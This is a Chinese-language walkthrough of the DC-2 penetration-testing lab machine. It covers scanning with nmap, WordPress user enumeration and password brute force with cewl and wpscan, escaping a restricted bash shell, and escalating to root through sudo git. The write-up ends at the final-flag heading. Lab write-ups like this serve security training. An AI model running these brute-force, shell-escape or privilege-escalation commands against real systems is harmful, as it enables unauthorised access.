【DC系列】DC-2靶机渗透练习

1.主机发现：sudo arp-scan -l，发现靶机ip为192.168.101.11

2.扫描端口，发现开放了80和7744端口：

nmap 192.168.101.11 -p 1-65535

3.但是访问地址发现被重定向到dc-2/，修改hosts文件，添加靶机的IP：

vi /etc/hosts

4.修改后可以访问网址发现是wordpress平台，点击进入flag

注：WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。

5.页面提示了flag1要使用crew爆破，并且下一个flag2在登录后的后台中：

6.使用Cewl生成一个字典，然后使用wpscan对wordpress进行破解。

cewl http://dc-2 -w ./dc-2.txt

7.wpscan专门用于扫描wordpress的漏洞：

wpscan --url http://dc-2/

可以看到版本号为：WordPress version4.7.10

8.找登录用户（-e枚举 u用户），首先来个用户枚举，再尝试利用枚举到的用户爆破密码，枚举出三个用户名admin，jerry，tom

wpscan --url http://dc-2 -e u

9.暴力破解得登录密码

暴力破解之前，需要提供一个字典文件，上面利用cewl已得到字典

wpscan --url http://dc-2 -U jerry -P ./dc-2.txt
wpscan --url http://dc-2 -U tom -P ./dc-2.txt

 

10.有登录名和密码就找一下登录界面，使用dirb扫描一下目录：

dirb http://dc-2/

发现后台地址：访问http://dc-2/wp-admin/使用jerry账号登录

11.发现后台的提示，WordPress不能利用，找其他捷径：

12.上面访问用的80端口，还有一个7744端口，进一步探测，发现是将ssh的默认端口号改成的7744端口：

nmap -sV -p 7744 dc-2

13.所以进行ssh连接，这次使用tom的账号，使用tom登录后rbash限制（限制了可执行的命令），限制了cat和more执行，所以采用less或者vi。

ssh tom@dc-2 -p 7744

尝试绕过，暂时没找到绕过方法，但是vi可以使用，暂且使用vi查看flag3.txt内容：

rbash(restricted bash)，即受限制的bash。

利用以上这些特性，用于中转服务器，限制用户使用其他命令

目的：用户只能使用ssh命令，其余命令(内置命令除外)都不能使用。

可以进行rbash逃逸，就可以使用所有命令了：

参考中的方法都不能用，只能找别人复现使用的

BASH_CMDS[a]=/bin/sh;a  #调用/bin/sh命令解释器
/bin/bash   #使用bash命令解释器
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin  #设置环境变量

14.根据flag3的提示，切换到jerry用户，找到flag4，并且提示：Go on - git outta here!!!!

15.进行git提权：

参考文章：http://evilanne.github.io/2019/07/24/sudo%E6%8F%90%E6%9D%83/

sudo git help status
!/bin/bash

执行sudo –l可以很明显的看到git提权的提示，可以看到无需root权限，jerry可以使用git！

16.使用git命令提权sudo git -p –help进入交互模式

!/bin/bash提权：

16.找到最后一个flag：